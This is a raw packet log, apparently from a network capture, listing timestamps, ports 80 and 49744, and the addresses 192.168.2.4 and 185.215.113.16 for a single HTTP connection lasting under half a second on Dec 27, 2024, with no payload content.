Dec 27, 2024 08:45:19.537158966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537172079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537194014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.537209988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.537317038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537329912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537350893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537364006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537374020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.537375927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537398100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.537409067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537421942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537431955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537466049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.537492037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.537612915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537626028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.537662029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.538392067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538407087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538419008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538429976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538449049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538454056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.538463116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538474083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.538476944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538491011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538500071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.538502932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538516998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538528919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538531065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.538542986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538554907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538554907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.538569927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538578987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.538583040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538597107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.538608074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.538636923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.539408922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539422989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539436102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539447069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539462090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539474010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539483070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.539486885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539495945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.539500952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539515018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539519072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.539529085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539539099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.539545059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539558887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539568901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.539572001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539586067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539598942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539602041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.539612055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.539623022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.539654016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.540236950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540251970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540263891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540290117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.540574074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540585995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540596008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540611029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540620089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.540623903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540637016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540647030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.540649891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540663958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540672064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.540676117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540689945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540698051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.540702105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540720940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540726900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.540734053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540745020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.540747881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540761948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.540776968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.540810108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.541577101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541591883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541603088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541615963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541630983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541641951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541654110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541652918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.541666985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541678905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541685104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.541692019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541706085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541712999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.541718960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541726112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.541732073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541743994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541754961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541759968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.541768074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.541774035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.541810036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.542251110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.542511940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542534113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542545080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542557001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542568922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542572021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.542582989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542594910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542603016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.542608023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542620897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542623997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.542634010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542643070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.542648077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542665005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542671919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.542676926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542690992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542700052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.542701960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542716026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.542730093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.542758942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.543375015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543386936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543399096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543410063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543422937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543423891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.543436050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543442011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.543469906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.543492079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543503046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543514967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543535948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543545961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543549061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.543559074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543570995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543575048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.543584108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543593884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.543596029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.543622971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.544367075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.544382095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.544394016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.544408083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.544408083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.544421911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.544435024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.544435978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.544450998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.544460058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.544493914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.553637981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.600222111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.695319891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.695337057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.695394993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.695672035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.695770979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.695813894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.696542025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.696630001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.697355032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.697393894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.697477102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.697518110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.698190928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.698261023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.698323965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.699034929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.699126005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.699213028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.699896097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.700073004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.700706005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.700747967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.700824976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.700860977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.701553106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.701700926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.701750040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.702373028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.702493906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.702589035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.703207016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.703345060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.704042912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.704096079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.704157114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.704194069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.705009937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.705085993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.705136061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.705732107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.705845118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.706609964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.706686974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.706686974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.706726074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.707415104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.707541943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.707628012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.708242893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.708357096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.708610058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.709114075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.709222078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.709681034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.709934950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.710128069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.710206985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.710788965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.710907936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.711604118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.711651087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.711705923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.711741924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.712416887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.712563038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.712646961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.713268995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.713382959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.713424921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.714126110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.714242935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.714953899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.714997053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.715054035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.715090036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.715838909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.715915918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.716063976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.716708899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.716809988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.716851950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.717468977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.717592001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.717684031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.718303919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.718447924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.718523979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.719156027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.719255924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.719341040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.719973087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.720105886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.720222950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.720803976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.720921993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.721081018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.721749067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.721846104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.721991062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.722517967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.722642899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.723342896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.723392963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.723613024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.723654032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.724196911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.724263906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.724319935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.725014925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.725133896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.725197077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.725888968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.725955963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.726021051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.726685047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.726845026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.727113008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.727516890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.727634907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.727673054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.728388071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.728465080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.729187965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.729234934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.729254007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.729288101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.730042934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.730088949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.730271101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.730865002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.730986118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.731694937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.731714010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.731825113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.731930971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.732681036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.732764006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.732856035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.733366966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.733488083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.733526945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.734224081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.734277964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.734321117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.735196114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.735342026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.735380888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.735991955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.736010075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.736080885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.736742020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.736869097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.737623930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.737677097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.737705946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.737737894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.738421917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.738496065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.738538027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.739219904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.754262924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.777290106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.896804094 CET	80	49744	185.215.113.16	192.168.2.4
